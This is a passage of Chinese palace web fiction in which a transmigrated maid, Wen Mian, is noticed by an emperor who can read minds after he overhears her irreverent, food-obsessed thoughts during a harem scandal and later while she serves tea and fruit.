《皇帝他有读心术!》
1. 豆沙奶卷
冬夜寒凉,冷风呼啸。
天上一弯月,惨白的云丝丝缠绕着,照在红墙金瓦上,越发叫人瘆得慌。
温棉战战兢兢地跪着,汉白玉方砖寒得她膝盖生疼,可她一点小动作都不敢有。
穿越至今不过两年,她已经彻底体会到了什么叫尊卑分明,什么叫生杀予夺。
跪在这儿的宫人统共十二个,有掌宫的大太监,也有如温棉这样末等的小宫女。
这么多人跪在一处,连呼吸声儿都听不见,好似蹲了十二个坟头前的碑。
看天色,宫门早就下钥,他们从正午一直跪到现在,已经三个时辰了。
旁边的宫女荣儿面色发白,豆大的汗珠滑落,气若游丝。
温棉稍稍抬了下眼皮,觑见空隙,微斜身子,从背后撑住荣儿。
这个时候可不能倒下,一倒下就是碍了主子的眼,发配掖庭当秽差都是轻的,最怕叫送到慎刑司去,那可真是把命都陪了。
料丝宫灯被风一吹,穗子绞成一股,光亮就会往温棉身上照一下。
秋夜本就寒浸浸的,风往脖子里钻,直叫她发抖。
“万岁爷驾到——”
太监的声音打破死寂,霎时间,坟茔般寂静的宫殿活泛起来。
温棉余光看到走过去的人的影子,两把头上坠的络子晃晃悠悠。
宫女太监又是移屏,又是换盏,伺候天底下顶尊贵的主儿安坐。
温棉听到上首男人淡漠的声音:“怎么了?”
淑妃一抻月白掐牙旗袍,跪了下去,指天誓日。
“奴才要告发娴妃与侍卫私通!
论理这话不该奴才说,可太后娘娘凤体抱恙,奴才不敢拿这事去气老祖宗。
奴才既承主子的旨意,理六宫之事,少不得禀了万岁爷,请主子爷示下。”
她一个眼神示意宫女,宫女立刻恭敬地呈上一个荷包,云锦灿烂,盘金打籽,好不精巧。
今日斋宫打扫,预备先皇忌日这天的斋戒,可巧不巧,打扫花圃的太监扫出了个绣春宫的香囊。
大启明令禁止太监宫女对食,一查出来就是五十板子,发配慎刑司,知情不报也要打二十大板。
小太监以为这东西是哪个太监的,就拿着香囊去寻掌宫太监,谁知被乌贵人瞧见了。
乌贵人立即禀了淑妃,淑妃便着人去查。
一查二查的,结果就查到了娴妃身上。
温棉身为末等宫女,按例不在各宫伺候,她和荣儿今日跑腿,从内务府领了对牌,给斋宫送彩绢。
结果凡是去过斋宫的,一个不落,全部都被提溜到长春宫罚跪。
人家也不审,也不问,先罚跪杀威。
要温棉说,她们这些皇宫最底层的宫女,有什么威可杀的?
昭炎帝皱眉,他方才和臣工议完朝政,太阳那里突突跳着疼,还要被妃嫔拉过来,耳边声音嘈杂一片,更让他觉得头痛欲裂。
长春宫里只有淑妃的声音,淑妃说完话,长春宫更是静得落针可闻。
温棉心中腹诽,妈呀,这是什么剧情,下一步是不是要滴血验亲了?
昭炎帝手中捻着一串檀木佛珠,他听到了淑妃又尖又利的心声:「娴妃这贱人完了,这次一定让她万劫不复!」
而娴妃的心声阴沉得能滴下水:「淑妃这疯狗怎么咬着我不放?待我度过此劫,且看我怎么料理她!」
昭炎帝闭上眼睛。
他有一个秘密,自从大启入关,他坐上那把髹金雕龙椅后,只要与人对视一眼,他就能听见那人心中所想之声。
这声音有时能让他洞若观火,但大多时候都让他烦躁。
自打能听人心声后,他便发现,朝臣的心比他想象中还要污糟,后宫中也不似他以为的那样姐妹和睦。
昭炎帝不耐地一甩佛珠,听娴、淑二人的心声,都不似做出这件事的真凶。
既然香囊是斋宫里的人扫出来的,那必然也是斋宫里的哪个放进去的。
他一一扫视跪在底下的奴才,瞥了眼总管太监郭玉祥,微抬下巴。
郭玉祥能混到总管的位子,哪能没两把刷子?论起如何伺候主子,他是太监里的孔子。
他立刻站出来,冲着底下的太监宫女们道:“都站起来,六个一排,太监站前头,宫女站后头。”
跪了半日,腿上经脉早就僵得跟死饼子似的,个个摇摇晃晃。
荣儿和温棉互相搀扶着,都用余光小心瞥上面一眼,然后很快垂下眼皮。
昭炎帝一一看过他们的眼睛,便听到无数个惶恐不安的心声。
什么「求菩萨超生」,什么「我王六狗愿用命根子换活命」,什么「完了,听到主子们的丑事还能有好」。
突然,他的视线顿了一下,听到有个宫女道:
「瞅我干啥,又不是我干的。」
昭炎帝看去,只见一个圆脸宫女站在长春门的宫灯旁,身穿末等宫女的酱褐旗袍,洗得发白,乌黑的头发编成一条大辫子,垂在肩膀上。
安安静静站着,好像一根柱子似的。
眼睛间或一眨,突然极快地往上瞥一眼,黑白分明的瞳仁显得极灵动。
他便又听到她的心声:「咋还瞅我?狗皇帝不会要随便找个人背黑锅吧?」
昭炎帝目光微冷。
这宫女心里实在少敬畏,该杀。
温棉又是觉得害怕,又是觉得解脱,她打着死了就能回去的想法,心中腹诽得更厉害了:
「也是,戴绿帽子这事哪个人能认下?为充面子,狗皇帝也不会认,说不定要杀了所有人呢。
唉……可惜了了,小邓子还说求御膳房他干爹要几块豆沙奶卷,还没吃过呢。」
昭炎帝:……
死到临头还想着吃的,他这辈子还是头一次见。
温棉丝毫不知自己的心里话被皇帝听到了,还在吐槽:
「狗皇帝长得倒挺俊,身材看上去也挺好,个儿也高,就是不知道治国理政行不行,这么好看,别是个昏君吧。」
说真心话,皇帝长得确实不赖。
也说不上来他是什么眼睛、什么嘴巴,就是觉得五官组合在一起,就那么正派威武,既不女气,也不粗犷。
穿着四开衩的米色江绸常服袍,坐着也威势逼人。
昭炎帝收回目光,一甩檀木佛珠:“让这些人都走吧。”
郭玉祥应了一声“嗻”,冲他们摆手,叫徒弟领他们出去。
斋宫当差的十二人齐齐磕头,倒退几步离开。
退出长春门,一直走了老远,郭玉祥的徒弟王来喜停了下来。
跟着的十二个太监宫女个个怕得打战,以为要被拉到哪个没人的地方,一根绳子了断一条命。
慢说他们与绣香囊没什么干系,宫里哪
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个角落没有屈死鬼?
王来喜阴着一张脸,道:“万岁爷明察秋毫,知道这事与各位不相干,各位也要紧着点自个儿舌头。
主子爷仁慈,万事不理论,可咱们却见不得主子爷不受用,要是传出一星半点来,诸位日后便到阴间去感念主子爷慈心罢。”
一番话吓得十二人又是赌咒发誓,又是冲长春门外的御辇磕头。
王来喜见此,便知这番话火候到位,又道:“咱们都是当奴才的,我也不为难大伙,宫门已经下钥,便到榻榻里和人挤一晚。”
说完,叫个小太监拿着对牌,领他们去榻榻里。
沿着墙根走,又走了一刻钟,掌宫大太监才松了一口气:“哎呦我的娘嘞,还以为今日不能善了,多亏主子爷明察秋毫,咱们才能捡回一条命。”
几个斋宫当差的都道是,说要给万岁爷尽忠,日夜替万岁爷祷告,至于会不会真这么做,那就不知道了。
温棉和荣儿不是斋宫的人,默不作声。
到了榻榻里处,和两个值夜宫女挤一个炕,半夜吵醒人家,人肯定也没个好脸色。
温棉和荣儿连洗漱都没就上了炕,两人挤一个铺盖,肩挨着肩,身上暖和起来,这才觉得活过来了。
荣儿趴在温棉耳边,尖下巴戳得她肩窝疼,小声说:“等回到咱们下榻处,我要给我额涅烧香,定是她在阴间保佑我,我今儿才能保全小命。”
温棉只点头,她都不知道该给谁烧香,给这儿的阿玛额涅,还是忘不掉的爸爸妈妈?
第二日早,刚交寅正,榻榻里的宫女便起身了。
她们是伺候小主鲜花插戴的,能在主子跟前露面,自然比温棉她们等级高,很是看不上温棉她们二人。
一早起来,摔盆子摔毛巾的,冲她们甩脸色。
荣儿不敢搭腔,只做看不见,温棉还睡着,这会就是打雷也叫不醒她。
两个宫女觉得没意思,梳子蘸水,辫子梳得溜光,扎一根红绒绳,鬓边戴一朵剪绒花,穿一身紫褐色的旗袍,便去出门去领鲜花。
秋季多是菊花,金黄的、大红的、玫红的,大朵大朵的艳丽盛开,送往各宫里供小主挑选,多能得赏。
两个宫女冲着荣儿,要笑不笑的:“你们还不走?等我们走了,这屋子若少点什么,到时候可怎么说得清?”
这个时候紫禁城宫门已经开了,准许住在外面的太监宫女进宫上事儿。
荣儿推醒温棉,借人家剩下的水洗漱。
五品以下的宫女下榻处都在紫禁城外,外面是皇城,不许百姓进入。
温棉和荣儿在内务府做杂役,她们住在西华门旁的他坦里。
早上风硬,温棉刚出屋子就叫风吹醒,迷愣的眼睛一下子就清明了。
荣儿见状抿嘴一笑:“你呀,什么都好,就是爱瞌睡,好在咱们当中班,要是把你派去夜里守夜,可怎么了得。”
宫女一天分三班,每班四个时辰,当差时间到了进宫,三班当完差,一天十二个时辰也就了了。
“这天冷得邪乎。”温棉冻得连哈欠都打不出来,“咱们快点回去,离咱们上班还有些时间,可以再眯一觉。”
荣儿笑着推她:“可不行,得先去禀告曹公公,咱们昨儿一天没回去,人肯定都知道咱们两个倒霉催的,做了池鱼,被拎去罚跪了。”
温棉叹了一口气,与荣儿往内务府去了。
2. 糖蒸酥酪
回了内务府曹公公的话,温棉和荣儿终于能回去了。
他坦是一排低矮的房子,在景山附近,一屋住四个人。
温棉和荣儿这间靠在最里面,当年搭的时候没丈量好,这间屋子就比旁的窄,只住了她们两个。
里面靠墙一张炕,正中一张桌子,桌子上扔着木梳和头绳,墙根下两个洗脸架,架子上搭着毛巾,墙角还有一个大水缸,里面的水还满着。
回到自己的狗窝,两人终于放松下来,呲牙咧嘴地坐到炕上。
温棉卷开裤子一看,膝盖上两团青黑,再看荣儿,也是两团青黑。
“得做个跪得容易,再来几次,这腿非得废了不可。”温棉呲牙咧嘴地挪上炕。
荣儿不解:“什么叫跪得容易?”
听温棉如此这般解释后,摇摇头:“主子要赏要罚俱是天恩,咱们做奴才的都得接着,小棉子,你这要被发现了,立时就是个大不敬,要治罪杀头的!”
温棉在这的名字叫小棉子,刚来时她病得迷迷糊糊,听到荣儿这么喊她,还以为自己成了个太监。
皇城里,宫女太监的命最贱,她们这等杂役更是上不得台面。
运气好的话,病了还能有苏拉来瞧一瞧,好歹开两副药,运气不好,就只能等死。
原来的小棉子一病死了,这才叫温棉占了人家的身。
刚醒来时,她还病得七荤八素,旁边屋子的宫女怕她的病过人,要叫人把她送到安乐堂去。
那里都是患病的宫女去的地方,到了那里,一日三餐都无继,只能等死。
荣儿拼死不让人拉走她,每日当完差还要回来照顾她,温棉才慢慢活了过来。
听了荣儿这话,温棉知道她是为了她好,轻轻给她揉膝盖,叹道:“我就是觉得这日子太苦了,什么时候到头啊?
你看,咱们连个药油都没有,病了痛了,也没个太医瞧一瞧。”
荣儿也给她揉膝盖:“要是咱们能得个巧宗儿,被主子瞧中,要到哪个宫里去伺候,也能好点。”
“那才不好呢!”
温棉脑袋摇成拨浪鼓,压低声音。
“你想想昨儿的事,要是我这样的去娘娘们跟前,这脑子哪里转得过弯来?没准哪天小命丢了,都不知道为什么丢,只能做个糊涂鬼。”
“呸呸呸,大清早说这么不吉利的话,你也不怕忌讳。”
荣儿啐了好几口,看着温棉又笑。
“也说不准你哪天进宫,到主子身边伺候,与主子相处日久,情谊深厚,主子亲自做大媒,配个侍卫,那侍卫再升发了,日后你出去就做官家奶奶。”
温棉拍她,挑眉道:“横竖胡说,你好歹往高说,怎么着也是被皇上瞧中,非娶我进宫,我宁死不愿,等他求我许久才答应……”
话没说完,荣儿笑倒在炕上,捂着肚子叫哎呦:“了不得,了不得,你这蹄子也不怕风大折了舌头。”
旁边屋子的人都当早班,二人笑闹也不怕人听见,忽听门被轻轻扣了扣。
“姐姐,回来了吗?”
温棉和荣儿对视一眼,眼里透出欣喜来:“小邓子?我们才回来。”
她们拉下裤子,门“吱嘎”一声打开,走进来个穿灰蓝袍子的瘦削小太监,他抱着个食盒,上面有些湿,似是被雨打湿了。
“外面下雨了吗?”
温棉斜着身子向外看,果见一片雾蒙蒙的雨幕,雨丝儿飘进来,将地也浸湿。
小邓子连忙关上门:“我干爹给我留了点心饽饽,说是给皇上做点心做坏了的,我拿过来和姐姐一起吃。”
小邓子是温棉穿越半年后遇见的。
他是内务府的杂役太监,管绸缎记档存放处值夜,那时他办错了差,值夜时眯了一下,被人告到掌事太监那里。
好在没酿成大祸,本来只打二十板子以儆效尤,但是有人给他穿小鞋,小邓子直被打得动不得。
温棉物伤其类,便从苏拉那里买了疮药去看他,从那起,两人关系就近起来。
小邓子后来认了个在膳房的干爹,管宫女太监灶。
他干爹平日会钻营,与御膳房、寿膳房的太监处得好,时常也能得些上造的吃食,便分些给小邓子,小邓子就拿来跟温棉一起吃。
食盒打开,是一碗糖蒸酥酪,一碟油糕,一碟鸡油饼,还有白芸豆、莲子和葡萄干蒸的黄米糕坨。
旁的倒还罢了,酥酪可是稀罕东西,素日她们这些小宫女哪里能见到?
荣儿见了,就先在炉子上烧了水,拿出三个茶碗,碗底放上茶叶沫子,水开了一倒,茶叶舒展,碎叶在水里沉浮,对她们来说,就是一碗好茶了。
温棉拍手:“是了,吃糊嘴的东西得配茶,还是荣儿会吃。”
酥酪盖碗上凝着细细的水汽,揭开盖儿,里头竟是颤巍巍的一汪白玉脂,表面光滑得能照见人影儿。
上面还缀着三两粒糖桂花,金灿灿的碎星子般。
温棉用白瓷勺轻轻舀起一勺,入口先是凉沁沁的,还不待反应便化成一滩水,化作一条线,坠进喉咙眼。
奶香与醪糟香倏地在口中漫开。
一碗酥酪并没有多少,三人各吃一勺,略尝尝味,那碗底便光可鉴人了。
糕坨也是米香沁人,油香满嘴。
三人一口点心饽饽一口茶,填饱从昨中午就饿了的肚子。
荣儿长叹一声:“也不知万岁爷要吃个什么龙肝凤胆,这还叫做坏?放到外面,给人摆席面都够了。”
小邓子道:“万岁爷就是要吃龙肝凤胆,又有什么不成?他老人家吃多了好东西,舌头自然刁,御膳房哪敢将次的送上去。”
温棉回味着那碗糖蒸酥酪:“用羊奶做酥酪?确实有些膻气,也不怕,用杏仁或茉莉花和羊奶一起煮就成了。”
小邓子吃惊道:“我的姐姐,你还懂这个?真是神了,我干爹也这么说,说御膳房的昏了头,没去羊奶膻气,哪天脖子离了缝就知道厉害了。”
温棉自得道:“我只是爱吃罢了。”
刚交午时,秋雨便停了。
温棉和荣儿再不想当差也得起来。
宫里除非病得起不来,否则必须上事儿,没人替你。
两人忍着腿疼腿酸,一齐走到内务府。
管事的曹公公一见她们,就吩咐下事来。
“江宁织造刚进上的好料子,可别说我不想着你们,昨儿才受了委屈,今儿去主子跟前跑腿,主子一高兴,兴许就放赏呢。”
温棉和荣儿应是,一人抱一个大托盘,上面是华贵非常的云锦。
二人跟十来个宫女一齐,走在甬道上,湿答答的太阳照着绫罗绸缎,金线银线比光还闪。
一行人一路走到乾清宫时,御辇刚好停在乾清门。
今儿是御门听政的日子,皇帝才从太和门回来,走上御道时,便见底下两排二十个宫女,个个手里捧着大托盘,正在走老虎洞。
温棉跟在队伍最后面,瞥见高高的御道上一个石青的身影。
心中不禁感慨,当皇帝就是好,连路都单独开一条
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,比旁的路高,比旁的路宽,在上面飙车也不怕撞到人。
昭炎帝进殿,由太监脱下全副常袍褂,解了吉服带,摘了常服冠。
换了一身蓝绸的云龙暗纹常服袍,青缎棉褂,系上汉玉钩环黄线绦,手拿一顶缉珠如意帽出了寝殿。
王来喜正招呼来送东西的宫女往后面走,打头看见皇帝,连忙请安:“万岁爷,江宁织造进上的料子,内务府让全给您送来瞧瞧。”
抱着托盘的宫女齐刷刷跪下。
昭炎帝便立在御阶上,扫过这些织金妆花的料子:“先给太后她老人家送去,让她老人家过目。”
视线略过几端云锦时停了下来。
这宫女不是昨晚腹诽他的那个吗?
只见她站着微倾身,圆滚滚的乌黑发顶衬着雪白的面皮儿,两手端着托盘,粉白的指尖跟花枝似的。
规矩倒不错,谁知是个内心奸滑的,胆大包天,敢非议皇帝,还敢对皇帝评头论足。
他生平第一次被人叫狗皇帝,被人说长得俊,就是面前这宫女。
可她又没宣之于口,叫他想以大不敬的罪名治她都不行。
他难得生出憋屈来。
昭炎帝站着的时间有些久,郭玉祥顺着他视线看去,心里不由突了一下。
这不是那个宫女吗?
主子爷昨晚就盯了好几眼,今儿又瞧,什么意思?
郭玉祥人老成精,想的再多,外面不动声色,虾腰跟在万岁爷身后,心中主意已过了千条。
/
这日到点儿交差时,曹公公点了四个宫女,叫去训话,其中就有温棉。
温棉安抚地拍拍荣儿,跟着曹公公进屋。
一进屋子,曹公公就放了个闷雷。
“姑娘们的运道来了,再想不到还有这样好的事!
乾清宫几处缺了人手,多少人盯着,好在郭总管吩咐下来,不许折腾,要不然那银子非把他填了不可。
今儿我碰着了郭总管,给你们美言几句,郭总管便说缺了的四个人,就从咱们广储司挑,可不是你们好运道来了?”
几个姑娘便蹲安:“谢您的恩。”
温棉心中疑惑,在国家领导人家里当保姆,这样好的事,她没花一个铜子儿,怎么就轮到她头上了?
“姑娘们今晚也不必出宫了,叫人帮你们把行礼收拾了,包一包袱,待会乾清宫的王公公来领你们过去。”
温棉直到从荣儿手里接过包袱时,头脑还是晕乎乎的。
荣儿笑着恭喜她:“这下可真要去当官家奶奶了,好好侍候,万事经心,我可等着抱你大腿呢。”
温棉苦笑:“我现在心里直发慌,你说,这么好的事,曹公公怎么会叫上我?怎不叫他干女儿去?”
荣儿倒没多想:“乾清宫是万岁爷的地盘,就是那里的猫儿狗儿,也比其他宫里尊贵,可咱们只是杂役,平日又不到主子跟前露面,一有错却全是咱们担。
曹玉海许是要等年后,太后宫里放出一批人,把他干女儿送到慈宁宫去,那才是轻省活呢。”
温棉这才觉得好受一点。
转过念来,心里又骂自个儿,真是闲的,国家领导人的家再大,跟你有半毛钱的关系?在哪扫地不是扫?
去了乾清宫,以后跪来跪去磕头的时候绝不会少。
虽说一下子从无品阶宫女变成有品阶的,月银也多了一两,可伴君如伴虎,说不定哪天皇帝掸掸小拇指,自己一条命就没了。
还不如在内务府当杂役自在呢。
3. 肥鸭锅子
温棉和其他三个宫女,跟着王来喜的手下走,一齐进了乾清宫。
她们先去领了四套新衣服,紫褐色镶蓝边的旗袍,白绫子袜子,满帮碎花鞋,都是棉的。
而后一行人进了榻榻里,小太监指着坐在床上的大宫女,介绍道:“这位是敬茶上的那姑姑,这位是司寝上的咨姑姑,你们分做两派,给两个姑姑打下手。”
温棉便和一个叫娟秀的姑娘,一同分到那姑姑手底下。
两人向那姑姑见礼,坐在床上的那姑姑八风不动,端起茶碗喝了一口,只不出声。
做姑姑的,旗袍比宫女的好看不知多少倍,紫红色的宁绸旗袍,领子高高的,到耳垂底下,蓝色镶边上绣花,葫芦口黑绒纽绊,耳朵上戴一对青玉耳坠,随着动作微微晃动。
姑姑们不出声,做小宫女的就不敢动,温棉的身体有肌肉记忆,站得笔管条直,脑袋微低,眼睛低垂,表现出谦恭来。
过了许久,那姑姑似是终于喝完了茶,与咨姑姑道别:“就要上事儿了,我不便打扰了。”
说着站起来,也不看她们,只道:“跟我来吧。”
温棉和娟秀亦步亦趋,跟着那姑姑进了御茶房。
御茶房专供皇上吃茶,不在御膳房七所儿里,置在养心殿前一处空配殿,里面种了两棵桂树。
时值九月,丹桂飘香,一进去就闻见馥郁的桂香,花香里夹杂着茶香、奶香、糖香,香得让人能醉过去。
桂树下摆着两个架子,架子上放着四五个竹编的大簸箕。
那姑姑道:“簸箕是用来晒茶的,秋季时常飘雨丝,茶叶放着恐霉坏了,等到日头好的时候,就得把茶叶拿出来晒晒。”
敬茶上的宫女不比其他宫人,住在宫外,到点了来当差就行。
她们都住在御茶房的耳房里,预备皇上随时传茶吃。
那姑姑叫她们去放行李,温棉和娟秀走进耳房,南北两边靠墙,各放两张床,南面的一张床上已有了铺盖。
娟秀径直将坐到南面的空床上,冲温棉笑:“小棉子,这儿风大,不比你那边避风,你就在暖和处睡罢。”
温棉无所谓睡哪,在北面靠窗子的床上铺好铺盖,这里避风是避风,就是有些潮。
把行李放下,两人又去见那姑姑。
敬茶上原有四个宫女,如今只剩下两个,她们就是来补缺的。
那姑姑领头,她们都得听她的。
那姑姑很少说话,跟她们同屋的宫女叫秋兰,与那姑姑一边大,更沉默寡言,只初见面时张了张嘴,其余时间温棉都怀疑她是个哑巴。
御茶房每日静得很,只有翻茶叶的沙沙声和水开的咕嘟声。
那姑姑就是教导她们,声音也很轻,宫里忌讳大小声,乾清宫的要求更严。
那姑姑第一天就告诉温棉两个:“在乾清宫当差,不许说话,要把自个儿当成哑子、当成聋子、当成瞎子,不然小命哪天丢了不说,还会连累家里。”
于是温棉愈加沉默。
再加上那姑姑不许她们离开宫门一步,否则“左腿发,右腿杀”,温棉连荣儿都没再见过。
偶尔能去御膳房跑腿时看到小邓子,她便托他多照看荣儿。
这么着在御茶房待了一个多月,就到冬天了。
早上起来,外头漆黑一片,温棉点上蜡烛去洗漱。
茶房当差有个好处,热水多,不像其他值上,只能用冰得掉指头的水洗脸。
温棉擦过牙,编好辫子,外头落满了雪,天上还搓絮似的,下个不停,现在是北京时间三点。
你见过三点的北京吗?
温棉见过。
皇帝每日四点起,五点叫起或御门听政,所以伺候的人就要三点起,在皇帝醒来前,准备好一切。
对此,温棉只有一个想法:是不是有什么大病?
搁以前,三点她都不一定睡。
早上照旧只有那姑姑和秋兰去乾清宫敬茶,温棉和娟秀在茶房里看水。
用那姑姑的话来说,她俩还是小冻猫子,上不得高台。
娟秀很想显出能干来,得那姑姑青眼,于是拿着扫帚扫雪。
温棉靠在温暖的茶吊子跟前打瞌睡,她没有娟秀的上进心。
茶房里有个自鸣钟,方便她们烧水算温度,也方便当差看点,温棉觑着时间,还能眯一个小时。
五点左右时,那姑姑和秋兰回来了。
温棉和娟秀去膳房把早饭提来,是一个肥鸭锅子。
那姑姑坐下动筷后,几人才接连端碗。
锅子里面的鸭肉煮得骨酥肉烂,温棉眼疾手快夹起一块鸭肉,吸溜一下,完整的鸭肉便脱骨了。
汤也熬得俨俨的,里面没配什么名贵菜,豆腐白菜吸饱了汤汁,咬一口,“噗嗤”一下喷出咸鲜的汤,烫得温棉直吸溜。
她把酱色的汤浇到米饭上,几口就吃完了一碗米。
冬天吃锅子最好,暖和又好吃,一直放在火上煮着,谁下值了,就热乎乎的吃一碗,爱喝汤的能喝汤,爱吃菜的能烫菜。
四人围着,又是一顿沉默的早餐,雪落在地上都能听见。
温棉的工作,就是每日挑上好的果子,不能有一丝磕碰,一丁点坏,然后把果子洗干净,用干布擦干水,按照配色放到盘子里。
御茶房除了茶水,原本还要管奶茶、点心、饽饽、水果等,但如今只有四个御茶上的人,点心档就归御膳房了,御茶房只管茶和水果两样。
温棉认为,御茶房就是皇帝的奶茶店兼水果店。
冬天里少有新鲜水果,大多是橘子、鸭梨和苹果,剩下的就是果脯。
今儿自鸣钟敲了十下时,外头来个小太监,站在门槛外道:“那姑姑,前头大人进上了几包茶,皇上命茶房泡茶来。”
那姑姑便放下茶碗,站起来抻抻旗袍,接过包好的茶。
她于茶道上是行家,那家以前是高祖旗里的包衣,专管茶庄、贩茶等事。
她看手里的茶,一个人头似的球,掂了掂分量,约莫五斤重,于是还没打开外头包的纸。
那姑姑就道:“是云南的金瓜贡茶。”
秋兰已经烧上水了。
那姑姑有心考她们,问道:“配茶还要备哪些点心?”
娟秀和秋兰便思索。
温棉看看外头,心说眼见就是传午膳的时候了,这个时候皇帝要吃茶,怎会配点心?点心吃多了,不就吃不下饭了么?
于是道:“不如再备些果子?就快到吃午膳的时候了,点心容易占肚子。”
她是根据现代饮食健康习惯说的,又看了看外面的天:“今儿天冷,不如做
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个烤梨,或做个山楂球?”
那姑姑道:“烤梨汤汤水水的,并不适宜,山楂磨成的泥,再熬糖裹一层倒使得。”
温棉知道这话是给她说,她便跑腿去御膳房。
等她再回到茶房时,水已烧开,她放下点心盒,走到那姑姑身边。
那姑姑看了温棉和娟秀一眼,温棉茫然,娟秀则机灵地拿了一根茶针来。
温棉无言。
她觉得自己在宫里好歹这么久,也学会了听话听音,可是对宫里人这种一个眼神就心领神会的本事,她真的一窍不通。
那姑姑接过茶针,从侧面沿着边沿撬下一片来,撬下的茶叶不急着泡,而是放到荫蔽处醒茶。
另舀了玉泉水煮沸,将醒好的茶放入茶碗里,快速注入滚水,再快速倒去茶水,这就是二次湿醒茶,而后才倒入水,茶水面上没有一粒沫子。
那姑姑道:“若主子吃茶时,得用茶盖刮茶沫,就是敬茶上的失职,你们且有得学。”
她将才泡好的茶放到托盘里,开水烫手,可她似感觉不到一样,右手端着茶盏,左手取东西,动作不抖不颤,将马蹄糕、艾窝窝装一小碟。
又选了青枣、贡橘、柿饼、山楂球四色果品,青橙黄红摆在一起,煞是好看。
每一份也不多,柿饼切成丝,和山楂球的旁边都放一把银叉子。
温棉以为自个儿的活干完了,正想躲到茶吊子旁歇一歇,便听那姑姑轻声道:“今儿你们也跟来,不说学会怎么当差,也学个眉高眼低,见见世面。”
娟秀欢喜得当即给那姑姑行礼,端上柿饼和山楂球,跟在秋兰身后。
温棉端着一托盘青枣和贡橘,坠在娟秀身后,低眉顺眼地走进乾清宫。
心中哀叹自己消失的摸鱼时间。
乾清宫面阔九间,进深五间,非常大。
温棉觉得绕了好多个落地花罩,走过不知多少块方砖,才终于停在一扇鹤鹿同春的花罩旁。
殿中烧着地龙,一点也不冷,进门后冻僵的手脚霎时就暖了。
温棉心道,难怪世人想当皇帝,皇帝管保是天下最舒坦的人。
只听里面太监的拍手声,那姑姑领着她们进去,一溜站在郭玉祥前,总管太监亲自端起茶盏,放到皇帝面前。
昭炎帝品了一口,茶汤金黄,无味之味,确实是上好的金瓜茶。
他看向点心,前两个都是酥皮点心或奶饽饽,膳前吃点心,非是养生之道。
视线往后扫,他便看到了端水果的宫女,圆脸大辫子,有些眼熟。
是那个在心里骂他的宫女。
她不是斋宫当差的吗?什么时候跑到乾清宫来了?
温棉察觉到上头的皇帝在看她,心里几番思索,还是没明白皇帝为什么看她。
悄悄抬起眼皮,飞快地看了皇帝一眼,试图理解他眼神里的意思。
昭炎帝无语,寻常宫女知道主子看她,再不机灵也晓得主子有事吩咐,她倒好,直不愣腾回看他,站在那,跟杵了根棍子似的,一动不动。
温棉觉得,落在身上的视线越来越有力度,她不由心慌。
难道茶里有毒?皇帝怀疑有人下毒?!
那看她干嘛?又不是她干的!
听到这句心声的昭炎帝:……莫名觉得这句话有些耳熟。
4. 贡橘与烧鹿肉
乾清宫里一片寂静,郭玉祥瞅见皇上看了好几眼温棉,机灵道:“你们几个,把点心、果子都呈上来。”
三个宫女弓腰,将托盘举到头顶,恭恭敬敬呈上去。
温棉感到自己端着的盘子一轻,郭玉祥将贡橘端到皇帝面前,瞅皇帝脸色,知道他不反对,便对温棉道:“姑娘伺候罢。”
温棉愣了一下,随即反应过来,皇帝吃橘子是不会自己剥的。
她连忙在小太监送来的水盆里洗了手,又用白棉手巾擦干水,而后剥开橘子。
酸甜的味道瞬间就迸射出来,温棉仔细剥了橘子上的白络,把橙色的橘瓣放到皇帝面前。
昭炎帝才捻起一瓣,便听见这宫女的心声:「好吃吗?好吃吗?好吃吗?闻起来好甜,一定很好吃。」
他的动作一滞,而后慢条斯理地将橘子放入口中。
那宫女的心声还不停:「看起来好多汁,每一瓣橘子都好饱满好有弹性。」
寻常伺候的太监宫女,心声都是战战兢兢的。
要么害怕主子一个不舒坦就治罪,要么就是盼望伺候有功,得主子青眼。
突然遇到一个这么直白贪吃的,昭炎帝觉得很新奇。
他不慌不忙地吃着橘子,感受牙齿咬破橘瓣汁水在口腔蔓延的感觉,如此倒真品出几分不同于寻常的滋味来。
眼前宫女恭敬地低着头,黑油油的大辫子垂在脑后,辫穗一动不动,眼皮垂下,是标准的宫女站姿。
但他能感觉到,这宫女眼神灼热到能把银碟融化了。
温棉看着皇帝把最后一瓣橘子吃了,泪水差点从嘴角流出来,心中只有一句话:好想吃啊……
她每天都去御膳房的库里领果子,保证皇帝吃到的水果都是新鲜的,可她却不能尝一口。
冬季里时鲜水果少,白守着这么一堆大宝贝,她却一口都动不得,有多折磨人,也只温棉自己晓得。
皇帝吃完果子,看了郭玉祥一眼,首领太监会意,只拍拍手,外面自有小太监明白意思,跑去传话,自鸣钟走到十点半,到点儿该传膳了。
那姑姑领着温棉几个往外走时,和提膳的太监正好擦肩。
温棉瞅见好几十个食盒,流水一般进到乾清宫,饭菜的香味从食盒钻出,心中不由感叹:
「乖乖,皇帝就是长个牛肚子,也吃不下这么多啊!吃不完就扔,多浪费啊!」
又转念一想,要是能做皇帝的试膳太监就好了,凡御膳,她都能尝一口,和皇帝吃一样的东西,想想就攒劲。
听着这样的心声消失在乾清宫,昭炎帝微微挑了下眉毛,呷了一口茶,嘴角的笑意被茶盏掩住。
这宫女倒有趣,是个要吃不要命的,真是傻大胆。
郭玉祥站在皇帝斜后,看着万岁爷微微勾起的嘴角,心像兔子蹦哒似的,突突直跳。
他当初只是觉得,主子爷难得多看了个宫女儿一眼,想着让主子爷受用,便把她调到乾清宫了。
但凡上进点儿的宫女,一月过去,总能在主子跟前露个面说上话。
只这个温棉来了以后,成天窝在茶房里,从没出现在主子爷跟前。
主子爷也似是忘了这么个人,他便没把那宫女看在眼里。
可是今儿……
温棉一进门,主子爷就瞧了好几眼,显然是认出来了。
宫里头多少正经小主都没叫万岁记住长什么模样呢,那个宫女只和主子爷照过几次面,怎么就叫爷记住了,还特意点她侍候剥橘子。
那温棉在一旁剥了多久的橘子,万岁就打量了她多长时间。
那眼神……
郭玉祥垂下眼皮,内心像蹲在村头说闲话的老汉一般,啧啧许久。
说不得,哪日运道一来,人家就乌鸦变凤凰,就此升发了,自己见了,也得乖乖矮三寸,口称小主呢。
他心里想的多,外表八风不动,在昭炎帝看过来时,郭玉祥立马将杂七杂八的心思扫一扫,扔到一边去,笑着道:“膳已备齐,请万岁爷入座。”
昭炎帝看了他的眼睛一眼,没听出什么特别的。
那这个杀才刚刚杵窝似的,站那一动不动干嘛呢?
昭炎帝懒得再听这个老货想什么,只略移视线,侍膳太监就机灵地挟了一筷子烧鹿肉。
试膳的吃了一口,等一会,没什么问题,布菜的太监才用羹匙,给皇帝舀进碟里。
皇帝略点一点头,太监便又舀了一勺,这道菜就撤下去了。
老祖宗家法,食不过三。
